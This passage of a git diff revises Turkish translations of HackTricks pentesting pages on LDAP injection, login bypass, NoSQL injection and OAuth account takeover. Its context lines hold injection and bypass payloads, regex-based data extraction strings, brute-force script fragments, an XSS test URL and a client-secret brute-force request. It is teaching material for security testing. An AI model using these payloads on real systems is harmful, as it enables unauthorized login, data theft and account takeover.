Tabii ki, ana sınırlamalar, **bir kurbanın sekmeyi kapatması veya tarayıcıda başka bir URL girmesi durumunda iframe'den kaçacağıdır**. Bunu yapmanın bir diğer yolu, **sayfayı yenilemek** olacaktır; ancak bu, iframe içinde yeni bir sayfa yüklendiğinde sağ tıklama bağlam menüsünü devre dışı bırakarak veya kullanıcının fare hareketinin iframe'den çıkıp çıkmadığını kontrol ederek kısmen **önlenebilir**. Bu durumda, tarayıcının URL'si XSS'e karşı savunmasız olan orijinal URL ile güncellenir, bu nedenle kullanıcı bunu yenilerse, tekrar zehirlenir (bu durumun çok gizli olmadığını unutmayın).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,25 +14,25 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir; bu da saldırganların yerel bir proxy aracılığıyla **LDAP ifadelerini manipüle etmesine** olanak tanır ve bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
|
||||
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum, saldırganların yerel bir proxy aracılığıyla **LDAP ifadelerini manipüle etmesine** olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
**Filtre** = ( filtercomp )\
|
||||
**Filtrecomp** = ve / veya / değil / öğe\
|
||||
**Ve** = & filtrelist\
|
||||
**Veya** = |filtrelist\
|
||||
**Değil** = ! filtre\
|
||||
**Filtrelist** = 1\*filtre\
|
||||
**Öğe**= basit / mevcut / alt dize\
|
||||
**Basit** = attr filtretipi assertionvalue\
|
||||
**Filtretipi** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Mevcut** = attr = \*\
|
||||
**Alt dize** = attr ”=” \[ilk] \* \[son]\
|
||||
**İlk** = assertionvalue\
|
||||
**Son** = assertionvalue\
|
||||
&#xNAN;**(&)** = Kesin DOĞRU\
|
||||
&#xNAN;**(|)** = Kesin YANLIŞ
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
**And** = & filterlist\
|
||||
**Or** = |filterlist\
|
||||
**Not** = ! filter\
|
||||
**Filterlist** = 1\*filter\
|
||||
**Item**= simple / present / substring\
|
||||
**Simple** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Present** = attr = \*\
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
|
||||
Örneğin:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -44,7 +44,7 @@ Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.
|
||||
**ADAM veya Microsoft LDS**: 2 filtre ile bir hata fırlatır.\
|
||||
**SunOne Directory Server 5.0**: Her iki filtreyi de çalıştırır.
|
||||
|
||||
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
|
||||
**Filtrenin doğru sözdizimi ile gönderilmesi çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
|
||||
|
||||
Filtre `&` veya `|` ile başlamalıdır.\
|
||||
Örnek: `(&(directory=val1)(folder=public))`
|
||||
@ -54,9 +54,9 @@ Filtre `&` veya `|` ile başlamalıdır.\
|
||||
|
||||
Sonra: `(&(objectClass=`**`*)(ObjectClass=*))`** ilk filtre (çalıştırılan) olacaktır.
|
||||
|
||||
### Giriş Atlatma
|
||||
### Login Bypass
|
||||
|
||||
LDAP, şifreyi saklamak için birkaç formatı destekler: açık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne koyarsanız koyun, hashlenmiş olabilir.
|
||||
LDAP, şifreyi saklamak için birkaç formatı destekler: clear, md5, smd5, sh1, sha, crypt. Yani, şifreye ne koyarsanız koyun, hashlenmiş olabilir.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -133,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Dump verileri
|
||||
|
||||
Ascii harfler, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
|
||||
Ascii harfleri, rakamları ve sembolleri üzerinde döngü yapabilirsiniz:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
||||
@ -11,12 +11,12 @@ Bir giriş sayfası bulursanız, bunu atlatmak için deneyebileceğiniz bazı te
|
||||
- **Parametreleri göndermemeye** dikkat edin (hiç göndermeyin veya sadece 1 tane gönderin)
|
||||
- **PHP karşılaştırma hatasını** kontrol edin: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
- **İçerik türünü json olarak değiştirin** ve json değerleri gönderin (bool true dahil)
|
||||
- POST'un desteklenmediğini belirten bir yanıt alırsanız, **JSON'u gövdeye ama GET isteği ile** `Content-Type: application/json` ile göndermeyi deneyebilirsiniz
|
||||
- POST'un desteklenmediğini belirten bir yanıt alırsanız, **JSON'u gövdeye GET isteği ile** `Content-Type: application/json` ile göndermeyi deneyebilirsiniz
|
||||
- Nodejs potansiyel ayrıştırma hatasını kontrol edin (okuyun [**şunu**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
- Nodejs, bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu da şifre bitinin her zaman doğru olmasını sağlar.
|
||||
- Bir JSON nesnesi gönderebiliyorsanız, girişi atlatmak için `"password":{"password": 1}` gönderebilirsiniz.
|
||||
- Nodejs bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu da şifre bitinin her zaman doğru olmasını sağlar.
|
||||
- Eğer bir JSON nesnesi gönderebiliyorsanız, girişi atlatmak için `"password":{"password": 1}` gönderebilirsiniz.
|
||||
- Bu girişi atlatmak için hala **geçerli bir kullanıcı adı bilmeniz ve göndermeniz gerektiğini** unutmayın.
|
||||
- `mysql.createConnection` çağrılırken `"stringifyObjects":true` seçeneğini eklemek, **parametre olarak `Object` geçirildiğinde tüm beklenmedik davranışları engelleyecektir.**
|
||||
- `mysql.createConnection` çağrısında **`"stringifyObjects":true`** seçeneğini eklemek, **`Object` parametre olarak geçirildiğinde tüm beklenmedik davranışları engelleyecektir.**
|
||||
- Kimlik bilgilerini kontrol edin:
|
||||
- Kullanılan teknoloji/platformun [**varsayılan kimlik bilgileri**](../../generic-hacking/brute-force.md#default-credentials)
|
||||
- **Yaygın kombinasyonlar** (root, admin, password, teknolojinin adı, bu şifrelerden biriyle varsayılan kullanıcı).
|
||||
@ -83,7 +83,7 @@ Sayfalar genellikle giriş yaptıktan sonra kullanıcıları yönlendirir, bu y
|
||||
|
||||
## Diğer Kontroller
|
||||
|
||||
- Giriş işlevini kötüye kullanarak **kullanıcı adlarını sıralayıp sıralayamayacağınızı** kontrol edin.
|
||||
- Giriş işlevini kötüye kullanarak **kullanıcı adlarını** **numaralandırıp** numaralandıramayacağınızı kontrol edin.
|
||||
- Şifre/**hassas** bilgiler **formları** için **otomatik tamamlama** özelliğinin aktif olup olmadığını kontrol edin: `<input autocomplete="false">`
|
||||
|
||||
## Otomatik Araçlar
|
||||
|
||||
@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
# True if the length equals 1,3...
|
||||
```
|
||||
### **veri** bilgilerini çıkarma
|
||||
### **Veri** bilgilerini çıkarma
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
@ -78,7 +78,7 @@ in JSON
|
||||
```
|
||||
### PHP Rastgele Fonksiyon Çalıştırma
|
||||
|
||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyonu çalıştırmak mümkün olabilir.
|
||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir.
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -88,7 +88,7 @@ Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://git
|
||||
|
||||
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen bir şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
|
||||
|
||||
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldığında yalnızca mevcuttur.
|
||||
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldıysa yalnızca mevcuttur.
|
||||
```json
|
||||
[
|
||||
{
|
||||
@ -176,7 +176,7 @@ if 'OK' in r.text:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### Brute-force giriş kullanıcı adları ve şifreleri POST girişinden
|
||||
### POST girişinden brute-force kullanıcı adları ve şifreleri
|
||||
|
||||
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
|
||||
```python
|
||||
|
||||
@ -5,9 +5,9 @@
|
||||
|
||||
## Temel Bilgiler <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth, temel bilgilerin erişilebilir olduğu çeşitli sürümler sunar; [OAuth 2.0 belgeleri](https://oauth.net/2/) bu konuda bilgi sağlar. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu yetki türü](https://oauth.net/2/grant-types/authorization-code/) etrafında döner ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişim sağlamasına veya işlemler gerçekleştirmesine olanak tanıyan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
|
||||
OAuth, temel bilgilerin erişilebilir olduğu çeşitli sürümler sunar; [OAuth 2.0 belgeleri](https://oauth.net/2/) bu konuda bilgi sağlar. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu yetki türü](https://oauth.net/2/grant-types/authorization-code/) etrafında döner ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişim sağlamasına veya eylemler gerçekleştirmesine olanak tanıyan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
|
||||
|
||||
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site, **tüm sosyal medya paylaşımlarınızı**, özel olanlar da dahil, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılır. _https://example.com_, **sosyal medya paylaşımlarınıza erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onay vermeniz durumunda, _https://example.com_, **paylaşımlarınıza sizin adınıza erişim** sağlama yetkisi kazanır.
|
||||
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site, **tüm sosyal medya paylaşımlarınızı**, özel olanlar da dahil, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılır. _https://example.com_, **sosyal medya paylaşımlarınıza erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onayınızla, _https://example.com_, **sizin adınıza paylaşımlarınıza erişim** yetkisi kazanır.
|
||||
|
||||
OAuth 2.0 çerçevesindeki aşağıdaki bileşenleri anlamak önemlidir:
|
||||
|
||||
@ -20,7 +20,7 @@ OAuth 2.0 çerçevesindeki aşağıdaki bileşenleri anlamak önemlidir:
|
||||
- **response_type**: **Talep edilen token türünü** belirten bir değer, örneğin `code`.
|
||||
- **scope**: `client application`ın `resource owner`dan talep ettiği **erişim seviyesi**.
|
||||
- **redirect_uri**: Kullanıcının yetkilendirmeden sonra yönlendirileceği **URL**. Bu genellikle önceden kaydedilmiş yönlendirme URL'si ile uyumlu olmalıdır.
|
||||
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında ve sonrasında **verileri korumak için** kullanılan bir parametre. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet vermesi açısından kritik öneme sahiptir.
|
||||
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında ve sonrasında **verileri korumak için bir parametre**. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet vermesi açısından kritik öneme sahiptir.
|
||||
- **grant_type**: **Verilecek yetki türünü ve dönecek token türünü** belirten bir parametre.
|
||||
- **code**: `authorization server`dan alınan yetkilendirme kodu; `client application` tarafından `access_token` almak için `client_id` ve `client_secret` ile birlikte kullanılır.
|
||||
- **access_token**: `resource owner` adına API istekleri için `client application`ın kullandığı **token**.
|
||||
@ -51,51 +51,51 @@ POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sona erer.
|
||||
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sonuçlanır.
|
||||
|
||||
## Güvenlik Açıkları <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### Açık redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olasılığını artırır.
|
||||
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme sonrası hassas verilerin, yetkilendirme kodları gibi, nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı tanır.
|
||||
|
||||
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regex'lerin istismarı ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
|
||||
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar uzanabilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin istismarı ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
|
||||
|
||||
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı hassastır. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişiklik gösterir.
|
||||
|
||||
OpenID sunucusunu hedefleyenler için, keşif uç noktası (`**.well-known/openid-configuration**`) genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration`" gibi değerli yapılandırma ayrıntılarını listeler. Bu ayrıntılar, kayıt uç noktasını ve sunucunun diğer yapılandırma özelliklerini belirlemede yardımcı olabilir.
|
||||
OpenID sunucusunu hedef alanlar için, keşif uç noktası (`**.well-known/openid-configuration**`) genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration`" gibi değerli yapılandırma ayrıntılarını listeler. Bu ayrıntılar, kayıt uç noktasını ve sunucunun diğer yapılandırma özelliklerini tanımlamaya yardımcı olabilir.
|
||||
|
||||
### XSS yönlendirme uygulamasında <a href="#bda5" id="bda5"></a>
|
||||
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) yönlendirme **URL'sinin, kullanıcı kimlik doğruladıktan sonra sunucunun yanıtında yansıtılması** mümkün olabilir ve bu durum **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
|
||||
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), yönlendirme **URL'sinin, kullanıcı kimlik doğruladıktan sonra sunucunun yanıtında yansıtılması** mümkün olabilir ve bu durum **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - State parametresinin yanlış yönetimi <a href="#bda5" id="bda5"></a>
|
||||
### CSRF - Durum parametresinin yanlış yönetimi <a href="#bda5" id="bda5"></a>
|
||||
|
||||
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına olanak tanır.
|
||||
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını aşmasına olanak tanır.
|
||||
|
||||
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
|
||||
|
||||
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hackleme platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmakta, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilir.
|
||||
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hackleme platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmakta, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilmektedir.
|
||||
|
||||
**`state` parametresinin** doğru yönetimi ve doğrulanması, CSRF'ye karşı korunmak ve OAuth akışını güvence altına almak için kritik öneme sahiptir.
|
||||
**`state` parametresinin** doğru bir şekilde yönetilmesi ve doğrulanması, CSRF'ye karşı korunmak ve OAuth akışını güvence altına almak için kritik öneme sahiptir.
|
||||
|
||||
### Hesap Ele Geçirmeden Önce <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Hesap Oluşturma sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
|
||||
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla.
|
||||
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
|
||||
|
||||
### Gizli Bilgilerin Açığa Çıkması <a href="#e177" id="e177"></a>
|
||||
|
||||
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşası önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini kötüye kullanarak **kullanıcı `access_tokens`** ve özel bilgileri çalabilir.
|
||||
|
||||
Uygulamaların yetkilendirme `code`'unu `access_token` ile istemci tarafında değil, sunucu tarafında yanlışlıkla yönetmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulamanın kimliğini kullanarak `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilir.
|
||||
Uygulamaların yetkilendirme `code`'unu istemci tarafında değil, sunucu tarafında `access_token` ile değiştirmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına neden olur ve saldırganların uygulamanın kılığına girerek `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilir.
|
||||
|
||||
### Client Secret Bruteforce
|
||||
### İstemci Sırrı Kaba Kuvvet
|
||||
|
||||
Bir hizmet sağlayıcının client_secret'ını çalmak için kimlik sağlayıcı ile **bruteforce** yapmayı deneyebilirsiniz.\
|
||||
BF isteği şu şekilde görünebilir:
|
||||
Bir hizmet sağlayıcının istemci_sırrını çalmak için kimlik sağlayıcı ile **kaba kuvvet denemesi** yapmayı deneyebilirsiniz.\
|
||||
Kaba kuvvet isteği şu şekilde görünebilir:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
@ -107,7 +107,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header sızdıran Kod + State
|
||||
|
||||
Müşteri **kod ve state**'e sahip olduğunda, eğer bu bilgiler **Referer başlığında yansıyorsa** ve farklı bir sayfaya gittiğinde, o zaman savunmasızdır.
|
||||
Müşteri **kod ve state**'e sahip olduğunda, eğer bu **Referer header'ında yansıyorsa** ve farklı bir sayfaya gittiğinde, o zaman savunmasızdır.
|
||||
|
||||
### Tarayıcı Geçmişinde Saklanan Erişim Token'ı
|
||||
|
||||
@ -119,7 +119,7 @@ Müşteri **kod ve state**'e sahip olduğunda, eğer bu bilgiler **Referer başl
|
||||
|
||||
### Yetkilendirme/Yenileme Token'ı istemciye bağlı değil
|
||||
|
||||
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, diğer hesapları ele geçirebilirsiniz**.
|
||||
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, o zaman diğer hesapları ele geçirebilirsiniz**.
|
||||
|
||||
### Mutlu Yollar, XSS, Iframe'ler ve Kod & State değerlerini sızdırmak için Post Mesajları
|
||||
|
||||
@ -152,14 +152,14 @@ AWS cognito'yu nasıl kötüye kullanacağınız hakkında daha ayrıntılı bil
|
||||
|
||||
[**bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
|
||||
|
||||
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Daha sonra, bir kurban Facebook ile **saldırganın uygulamasına** giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
|
||||
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Daha sonra, bir kurban Facebook ile **saldırganın uygulamasında** giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu nedenle, eğer saldırgan kullanıcıyı kendi OAuth uygulamasına eriştirmeyi başarırsa, token bekleyen ve token'ın kendi uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
|
||||
|
||||
### İki Bağlantı ve Çerez <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açmasını sağlamak mümkündü. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** **kullanıcıya** o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
|
||||
[**bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açmasını sağlamak mümkündü. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** kullanıcının o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
|
||||
|
||||
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak şekilde **Oauth akışını** başlatmak için bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve o değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
|
||||
|
||||
@ -169,7 +169,7 @@ Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak
|
||||
|
||||
### response_mode
|
||||
|
||||
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), kodun son URL'de nerede sağlanacağını belirtmek için **`response_mode`** parametresini belirtmek mümkün olabilir:
|
||||
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), **`response_mode`** parametresini, kodun son URL'de nerede sağlanmasını istediğinizi belirtmek için kullanmak mümkün olabilir:
|
||||
|
||||
- `response_mode=query` -> Kod bir GET parametresi içinde sağlanır: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Kod URL parçası parametresi içinde sağlanır `#code=2397rf3gu93f`
|
||||
@ -186,7 +186,7 @@ Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato),
|
||||
|
||||
1. Kurban saldırganın web sayfasına erişir
|
||||
2. Kurban kötü niyetli bağlantıyı açar ve bir açıcı, **saldırganın web sitesi** referansını kullanarak `response_type=id_token,code&prompt=none` ek parametreleri ile Google OAuth akışını başlatır.
|
||||
3. Açıcı, sağlayıcı kurbanı yetkilendirdikten sonra, onları `redirect_uri` parametresinin değerine (kurban web) 30X kodu ile geri gönderir ve bu hala saldırganın web sitesini referans olarak tutar.
|
||||
